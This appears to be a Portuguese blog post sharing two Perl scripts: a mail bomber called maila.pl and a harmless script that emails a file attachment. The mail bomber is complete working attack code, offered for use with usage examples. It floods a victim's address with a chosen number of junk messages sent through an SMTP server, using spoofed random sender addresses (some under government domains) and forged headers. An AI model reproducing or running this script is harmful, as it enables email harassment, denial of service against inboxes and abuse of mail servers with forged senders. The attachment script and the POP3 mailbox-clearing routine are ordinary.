[Source] Programas em Perl: Mail bomber e enviar arquivos anexados po exmail

Código Fonte de um Mail bomber:

#!/usr/bin/perl
###########################################################
# maila.pl 0.1.5 by guybrush` #
###########################################################
# Este script é a cura e a doença ao mesmo tempo. É um #
# mail bomber que pode ser executado em um servidor em #
# background. Mas é também equipado com um limpador de #
# caixa de correio, para neutralizar mailbombings de ou- #
# tras pessoas. #
###########################################################
# Requisitos: #
# ——————————————————- #
# 1. Um computador 🙂 #
# 2. Um servidor SMTP que permita enviar emails #
# 3. Uma vida #
###########################################################
# Uso: #
# ——————————————————- #
# ./maila.pl [-c -s servidor -u userid -p password] #
# [-m -s servidor -d email -n number] #
# -c – Ativa o limpador de pop3 #
# -s – endereço do servidor pop3 #
# -u – userid da conta #
# -p – senha da conta #
# -m – Ativa o mail bomber #
# -s – servidor de email que permita enviar emails #
# -d – endereço de email da vitima #
# -n – número de mensagens que vai enviar #
###########################################################
# Greets: #
# ——————————————————- #
# Thanks to #perl@ircnet, DeMa, raptor, me, myself and I #
# Traduzido por: mauricio@vendomicro.com.br #
###########################################################

use IO::Socket;
use Getopt::Std;
getopts(“cms:u:p:d:n:”);
if ($opt_c && $opt_m) { usage(); }
if (!$opt_c && !$opt_m) { usage(); }
if ($opt_c) { if (!($opt_s) || !($opt_u) || !($opt_p)) { usage(); } }
if ($opt_m) { if (!($opt_s) || !($opt_d) || !($opt_n)) { usage(); } }

if ($opt_c) {
$host = $opt_s;
$user = $opt_u;
$pass = $opt_p;
$remote = IO::Socket::INET->new(Proto=>”tcp”,PeerAddr=>”$host”,PeerPort=>”110″) || die “Host não encontrado, parou em”;
print “Limpando a conta $user\@$host …\n”;
$temp = <$remote>;
if ($temp =~ m/OK/) { print $remote (“user $user\r\n”); } else { die; }
$temp = <$remote>;
if ($temp =~ m/OK/) { print $remote (“pass $pass\r\n”); } else { die; }
$temp = <$remote>;
if ($temp =~ m/OK/) { print $remote (“list\r\n”); } else { die; }
$temp = <$remote>;
if ($temp =~ m/OK/) {
while (<$remote> !~ /^\./) {
$temp = <$remote>;
($cn, $rudo) = split(/ /,$temp);
}
print “Apagando $cn mensagens…\n”;
for ($i = 1;$i <= $cn;$i++) {
print $remote (“dele $i\r\n”);
if ($temp =~ m/OK/) { next; }
}
} else { die; }
print “Feito!\n”;
print $remote “quit\n”;
$remote->flush();
close($remote);
}

if ($opt_m) {
$host = $opt_s;
$rcpt = $opt_d;
$numb = $opt_n;
print “Mailbombing $rcpt com $numb mensagens…\n”;
for ($i = 1; $i <= $numb; $i++) {
$remote = IO::Socket::INET->new(Proto=>”tcp”,PeerAddr=>”$host”,PeerPort=>”25″) || die “Host nao encontrado, parou em”;
$temp = <$remote>;
if ($temp =~ m/220/) { print $remote “helo hackers.com\n”; } else { next; }
$temp = <$remote>;
$mitt = &mittente;
if ($temp =~ m/250/) { print $remote “mail from: $mitt\n”; } else { next; }
$temp = <$remote>;
if ($temp =~ m/250/) { print $remote “rcpt to: $rcpt\n”; } else { next; }
$temp = <$remote>;
if ($temp =~ m/250/) { print $remote “data\n”; } else { next; }
$temp = <$remote>;
$messaggio = &messaggio;
if ($temp =~ m/354/) { print $remote “$messaggio\n”; } else { next; }
$temp = <$remote>;
if ($temp =~ m/250/) { print $remote “quit\n”; } else { next; }
$remote->flush();
close($remote);
}
print “Feito!\n”;
}

sub messaggio {
$a = “a,b,c,d,e,f,g,h,i,l,m,n,o,p,q,r,s,t,u,v,z,j,k,w,x,y,1,2,3,4,5,6,7,8,9,0,A,B,C,D,E,F,G,H,I,L,M,N,O,P,Q,R,S,T,U,V,Z,X,Y,J,K”;
(@alfa) = split(/,/,$a);
$messa = “Received: by s0gamelo.it id AA11212 with SMTP; Sun, 12 Oct 97 13:40:58\nMessage-ID: <123.AA11345\@fanculo.com>\nTo: <$rcpt>\nDate: Sun, 12 Oct 97 11:30:27\nSubject: Try to save yourself\n\n@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)]\n@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)]\n@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)]\n@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)]\n@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)]\n\n.\n“;
$messa
}

sub mittente {
$a = “a,b,c,d,e,f,g,h,i,l,m,n,o,p,q,r,s,t,u,v,z,j,k,w,x,y,1,2,3,4,5,6,7,8,9,0”;
(@alfa) = split(/,/,$a);
$m = @alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)];
@domains = (“microsoft.com”,”libero.it”,”tiscalinet.it”,”katamail.it”,”tin.it”,”mail.com”,”hotmail.com”,”cia.gov”,”fbi.gov”,”nasa.gov”,”hackers.com”,”adultcheck.com”,”ciao.it”,”trovamore.com”,”abc.de”,”cybererotica.com”,”pmp.it”,”infinito.it”,”mp3.com”,”yahoo.com”,”ciaoweb.it”,”galactica.it”,”namezero.com”,”flashnet.it”,”ircd.it”,”funet.fi”,”stealth.net”,”webbernet.net”,”tvtb.it”);
$dominio = @domains[rand($#domains)];
$mittente = “$m\@$dominio”;
$mittente
}

sub usage {
print STDERR <<EOF;
Uso: $0 [-c -s server -u userid -p password] [-m -s server -d address -n number]

-c – Ativa o limpador de pop3
-s – endereço do servidor pop3
-u – userid da conta
-p – senha da conta
-m – Ativa o mail bomber
-s – servidor de email que permita enviar emails
-d – endereço de email da vitima
-n – número de mensagens que vai enviar

Examplos: $0 -c -s pop3.server.com -u foobar -p dunno
$0 -m -s mail.server.cz -d foobar\@server.com -n 500
EOF
exit;
}

Código Fonte de um programa em Perl que envia Arquivos anexados po exmail:

#!/usr/bin/perl
# ###########################################################
# 26/08/2002
#
# Por Fíbio Berbert de Paula <fabio@vivaolinux.com.br>
#
# Script usado para enviar um arquivo anexado por email
#
# ###########################################################

# este modulo e’ necessario para o funcionamento do script
use MIME::Entity;

$texto = “Aqui vem o texto do email …”;
$top = build MIME::Entity From => ‘Eu <eu@meudominio.com>’,
To => ‘voce@seudominio.com‘,
Subject => “Teste de anexo”,
Data => $texto;

# definindo o anexo
$top->attach(
Name => “arquivo.gz”,
Path => “/tmp/arquivo.gz”,
Type => “application/x-gtar”,
Encoding => “base64”
);


# caminho para o programa do agente MTA do seu servidor
open(MAIL,”| /usr/lib/sendmail -t”);
$top->print(\*MAIL);
close(MAIL);

  1. No trackbacks yet.

Deixe uma resposta

Preencha os seus dados abaixo ou clique em um ícone para log in:

Logotipo do WordPress.com

Você está comentando utilizando sua conta WordPress.com. Sair / Alterar )

Imagem do Twitter

Você está comentando utilizando sua conta Twitter. Sair / Alterar )

Foto do Facebook

Você está comentando utilizando sua conta Facebook. Sair / Alterar )

Foto do Google+

Você está comentando utilizando sua conta Google+. Sair / Alterar )

Conectando a %s

%d blogueiros gostam disto: